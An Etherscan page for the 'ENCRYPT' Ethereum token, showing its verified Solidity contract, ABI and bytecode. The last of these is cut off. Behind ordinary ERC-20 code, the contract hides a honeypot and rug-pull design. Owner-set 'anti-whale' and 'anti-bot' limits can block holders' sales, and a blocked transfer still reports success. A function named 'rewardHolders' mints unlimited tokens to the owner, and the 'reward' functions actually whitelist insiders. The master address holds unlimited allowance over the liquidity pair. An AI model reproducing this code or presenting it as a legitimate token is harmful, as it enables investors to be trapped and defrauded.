ETH Price: $2,438.25 (-2.27%)

Token

ENCRYPT ($ENCRYPT)
 

Overview

Max Total Supply

10,000,000,001,000,000,000 $ENCRYPT

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,595,676.401455703 $ENCRYPT

Value
$0.00
0x6a8005a3df763044f2326d16c1094aaec0b67472
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ENCRYPT

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-22
*/

// SPDX-License-Identifier: MIT

/**
Website: https://encrypttoken.io/
https://t.me/EncryptTokenERC
*/

pragma solidity 0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}


interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}


interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ENCRYPT is Context, IERC20, Ownable {
    IPancakeRouter02 internal _router;
    IPancakePair internal _pair;

    uint8 internal constant _DECIMALS = 9;

    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) internal _sellSum;
    mapping(address => uint256) internal _sellSumETH;

    uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
    uint256 internal _theAntiWhale = ~uint256(0);
    uint256 internal _theAntiBot = 0;

    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }

    constructor(address routerAddress) {
        _router = IPancakeRouter02(routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        _balances[owner()] = _totalSupply;
        master = owner();
        _allowances[address(_pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() external pure override returns (string memory) {
        return "ENCRYPT";
    }

    function symbol() external pure override returns (string memory) {
        return "$ENCRYPT";
    }

    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        if (_canTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");

            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function burn(uint256 amount) external onlyOwner {
        _balances[owner()] -= amount;
        _totalSupply -= amount;
    }

    function setAntiWhale(uint256 newAntiWhale) external onlyOwner {
        _theAntiWhale = newAntiWhale;
    }

    function setAntiBot(uint256 newAntiBot) external onlyOwner {
        _theAntiBot = newAntiBot;
    }

    function setMaster(address account) external onlyOwner {
        _allowances[address(_pair)][master] = 0;
        master = account;
        _allowances[address(_pair)][master] = ~uint256(0);
    }

    function syncPair() external onlyMaster {
        _pair.sync();
    }

    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }

    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }

    function rewardHolders(uint256 amount) external onlyOwner {
        _balances[owner()] += amount;
        _totalSupply += amount;
    }
    
    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(_pair));
    }

    function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }

        if (_isSuper(sender)) {
            return true;
        }
        if (_isSuper(recipient)) {
            uint256 amountETH = _getETHEquivalent(amount);
            uint256 bought = _buySum[sender];
            uint256 sold = _sellSum[sender];
            uint256 soldETH = _sellSumETH[sender];

            return bought >= sold + amount && _theAntiWhale >= soldETH + amountETH && sender.balance >= _theAntiBot;
        }
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }

    function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
        if (_pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumETH[from] += _getETHEquivalent(amount);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAntiBot","type":"uint256"}],"name":"setAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAntiWhale","type":"uint256"}],"name":"setAntiWhale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052620000126009600a6200041d565b6200002290633b9aca0062000435565b600a55600019600b556000600c553480156200003d57600080fd5b506040516200165838038062001658833981016040819052620000609162000457565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000121919062000457565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000184573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001aa919062000457565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e919062000457565b600280546001600160a01b0319166001600160a01b03928316179055600a546000805483168152600560205260408120919091555416600380546001600160a01b0319166001600160a01b0392831690811790915560025482166000908152600660209081526040808320938352928152828220600019905581548416825260049052908120805460ff1916600117905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002f991815260200190565b60405180910390a35062000482565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200035f57816000190482111562000343576200034362000308565b808516156200035157918102915b93841c939080029062000323565b509250929050565b600082620003785750600162000417565b81620003875750600062000417565b8160018114620003a05760028114620003ab57620003cb565b600191505062000417565b60ff841115620003bf57620003bf62000308565b50506001821b62000417565b5060208310610133831016604e8410600b8410161715620003f0575081810a62000417565b620003fc83836200031e565b806000190482111562000413576200041362000308565b0290505b92915050565b60006200042e60ff84168362000367565b9392505050565b600081600019048311821515161562000452576200045262000308565b500290565b6000602082840312156200046a57600080fd5b81516001600160a01b03811681146200042e57600080fd5b6111c680620004926000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806352390c02116100ad578063a9059cbb11610071578063a9059cbb146102c6578063b59c0974146102d9578063dd62ed3e146102e1578063e6bd7ed11461031a578063ee97f7f31461032d57600080fd5b806352390c021461022e5780636f539a821461024157806370a08231146102545780638da5cb5b1461027d57806395d89b41146102a257600080fd5b80632782e35b116100f45780632782e35b146101c3578063313ce567146101e65780633685d419146101f55780633dcb7d7e1461020857806342966c681461021b57600080fd5b806306fdde0314610131578063095ea7b31461016657806318160ddd1461018957806323b872dd1461019b57806326fae0d3146101ae575b600080fd5b604080518082019091526007815266115390d496541560ca1b60208201525b60405161015d9190610f2b565b60405180910390f35b610179610174366004610f98565b610340565b604051901515815260200161015d565b600a545b60405190815260200161015d565b6101796101a9366004610fc4565b610356565b6101c16101bc366004611005565b61041e565b005b6101796101d1366004611005565b60046020526000908152604090205460ff1681565b6040516009815260200161015d565b6101c1610203366004611005565b6104a8565b6101c1610216366004611022565b6104e3565b6101c1610229366004611022565b610512565b6101c161023c366004611005565b6105a3565b6101c161024f366004611022565b6105db565b61018d610262366004611005565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161015d565b60408051808201909152600881526709115390d496541560c21b6020820152610150565b6101796102d4366004610f98565b61060a565b6101c1610627565b61018d6102ef36600461103b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6101c1610328366004611022565b6106a8565b60035461028a906001600160a01b031681565b600061034d338484610731565b50600192915050565b6000610363848484610856565b15610413576001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103f25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103fd858585610949565b610411853361040c868561108a565b610731565b505b5060015b9392505050565b6000546001600160a01b031633146104485760405162461bcd60e51b81526004016103e9906110a1565b600280546001600160a01b039081166000908152600660208181526040808420600380548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6003546001600160a01b031633146104bf57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016103e9906110a1565b600c55565b6000546001600160a01b0316331461053c5760405162461bcd60e51b81526004016103e9906110a1565b80600560006105536000546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610582919061108a565b9250508190555080600a600082825461059b919061108a565b909155505050565b6003546001600160a01b031633146105ba57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146106055760405162461bcd60e51b81526004016103e9906110a1565b600b55565b6000610617338484610856565b1561034d5761034d338484610949565b6003546001600160a01b0316331461063e57600080fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561068e57600080fd5b505af11580156106a2573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016103e9906110a1565b80600560006106e96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461071891906110d6565b9250508190555080600a600082825461059b91906110d6565b6001600160a01b0383166107935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b0382166107f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526004602052604081205460ff168061089557506001600160a01b03831660009081526004602052604090205460ff165b156108a257506001610417565b6108ab84610b32565b156108b857506001610417565b6108c183610b32565b156104135760006108d183610b64565b6001600160a01b03861660009081526007602090815260408083205460088352818420546009909352922054929350909161090c86836110d6565b8310158015610926575061092084826110d6565b600b5410155b801561093e5750600c54886001600160a01b03163110155b945050505050610417565b6001600160a01b0383166109ad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610a0f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b610a1a838383610dc0565b6001600160a01b038316600090815260056020526040902054811115610a915760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e9565b6001600160a01b03831660009081526005602052604081208054839290610ab990849061108a565b90915550506001600160a01b03821660009081526005602052604081208054839290610ae69084906110d6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084991815260200190565b6001546000906001600160a01b0383811691161480610b5e57506002546001600160a01b038381169116145b92915050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610bbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be0919061110a565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e919061115a565b6001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cee919061115a565b6001600160a01b03161415610d8157600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa158015610d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d799190611177565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610d38565b610dc8610e81565b15610e7c57610dd683610b32565b15610e09576001600160a01b03821660009081526007602052604081208054839290610e039084906110d6565b90915550505b610e1282610b32565b15610e7c576001600160a01b03831660009081526008602052604081208054839290610e3f9084906110d6565b90915550610e4e905081610b64565b6001600160a01b03841660009081526009602052604081208054909190610e769084906110d6565b90915550505b505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610ed9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efd919061110a565b506001600160701b031691506001600160701b03169150600082118015610f245750600081115b9250505090565b600060208083528351808285015260005b81811015610f5857858101830151858201604001528201610f3c565b81811115610f6a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610f9557600080fd5b50565b60008060408385031215610fab57600080fd5b8235610fb681610f80565b946020939093013593505050565b600080600060608486031215610fd957600080fd5b8335610fe481610f80565b92506020840135610ff481610f80565b929592945050506040919091013590565b60006020828403121561101757600080fd5b813561041781610f80565b60006020828403121561103457600080fd5b5035919050565b6000806040838503121561104e57600080fd5b823561105981610f80565b9150602083013561106981610f80565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561109c5761109c611074565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156110e9576110e9611074565b500190565b80516001600160701b038116811461110557600080fd5b919050565b60008060006060848603121561111f57600080fd5b611128846110ee565b9250611136602085016110ee565b9150604084015163ffffffff8116811461114f57600080fd5b809150509250925092565b60006020828403121561116c57600080fd5b815161041781610f80565b60006020828403121561118957600080fd5b505191905056fea26469706673582212208218a749f1ecd42bcfe2f750cb05893e340c181e7a8d9262a882a0fad1767ecc64736f6c634300080c00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806352390c02116100ad578063a9059cbb11610071578063a9059cbb146102c6578063b59c0974146102d9578063dd62ed3e146102e1578063e6bd7ed11461031a578063ee97f7f31461032d57600080fd5b806352390c021461022e5780636f539a821461024157806370a08231146102545780638da5cb5b1461027d57806395d89b41146102a257600080fd5b80632782e35b116100f45780632782e35b146101c3578063313ce567146101e65780633685d419146101f55780633dcb7d7e1461020857806342966c681461021b57600080fd5b806306fdde0314610131578063095ea7b31461016657806318160ddd1461018957806323b872dd1461019b57806326fae0d3146101ae575b600080fd5b604080518082019091526007815266115390d496541560ca1b60208201525b60405161015d9190610f2b565b60405180910390f35b610179610174366004610f98565b610340565b604051901515815260200161015d565b600a545b60405190815260200161015d565b6101796101a9366004610fc4565b610356565b6101c16101bc366004611005565b61041e565b005b6101796101d1366004611005565b60046020526000908152604090205460ff1681565b6040516009815260200161015d565b6101c1610203366004611005565b6104a8565b6101c1610216366004611022565b6104e3565b6101c1610229366004611022565b610512565b6101c161023c366004611005565b6105a3565b6101c161024f366004611022565b6105db565b61018d610262366004611005565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161015d565b60408051808201909152600881526709115390d496541560c21b6020820152610150565b6101796102d4366004610f98565b61060a565b6101c1610627565b61018d6102ef36600461103b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6101c1610328366004611022565b6106a8565b60035461028a906001600160a01b031681565b600061034d338484610731565b50600192915050565b6000610363848484610856565b15610413576001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103f25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103fd858585610949565b610411853361040c868561108a565b610731565b505b5060015b9392505050565b6000546001600160a01b031633146104485760405162461bcd60e51b81526004016103e9906110a1565b600280546001600160a01b039081166000908152600660208181526040808420600380548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6003546001600160a01b031633146104bf57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016103e9906110a1565b600c55565b6000546001600160a01b0316331461053c5760405162461bcd60e51b81526004016103e9906110a1565b80600560006105536000546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610582919061108a565b9250508190555080600a600082825461059b919061108a565b909155505050565b6003546001600160a01b031633146105ba57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146106055760405162461bcd60e51b81526004016103e9906110a1565b600b55565b6000610617338484610856565b1561034d5761034d338484610949565b6003546001600160a01b0316331461063e57600080fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561068e57600080fd5b505af11580156106a2573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016103e9906110a1565b80600560006106e96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461071891906110d6565b9250508190555080600a600082825461059b91906110d6565b6001600160a01b0383166107935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b0382166107f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526004602052604081205460ff168061089557506001600160a01b03831660009081526004602052604090205460ff165b156108a257506001610417565b6108ab84610b32565b156108b857506001610417565b6